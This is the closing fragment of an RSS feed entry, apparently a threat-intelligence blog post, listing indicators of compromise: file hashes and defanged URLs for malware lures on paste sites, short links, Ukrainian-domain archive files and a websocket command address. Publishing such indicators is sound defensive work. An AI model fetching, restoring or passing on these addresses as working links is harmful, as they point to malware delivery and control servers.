/></figure><p><strong>IoC</strong></p><pre><br>de4bc8a4ed6974e63188954ad3292a6216074bb39557ffe787d4c3f89066d1db<br>975E4C4625437399F628F267652C15C58BC22F096CE60AE1033694B9BC824F63https[://]pastefy[.]app/B9LUfqZh/raw<br>https[://]pastefy[.]app/8gkXtCq0/raw<br>https[://]lnk[.]ua/lZRJggrBK<br>http[://]193.23.199[.]14/%D0%902896/%E2%84%96%2018-14-111-%D1%96.pdf<br>ws[://]80.89.224[.]13:6341<br><br><br>9ed12fc54a31644ca906dad2710b993ed1fe71f19cc8ffd7693884f821b827e1<br>a04311c5c165f16ee7b746d4253c2c9499ab34fca00e159b598c02ba6170d3a3<br>6fea579685d2433cedb1c32ef704575dcbc1d0a623769e824023ffccd0dedaae<br>https://lnk.ua/GYQ3X1RqO<br>http[://]ngu[.]kh[.]ua/A7052/10-14-111-%D1%96.zip<br>http[://]ngu[.]kh[.]ua/1536/10-14-111-%D1%96.pdf<br>https[://]pastefy[.]app/nkjTcFw3/raw<br>6fea579685d2433cedb1c32ef704575dcbc1d0a623769e824023ffccd0dedaae</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=269de10c1ded" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>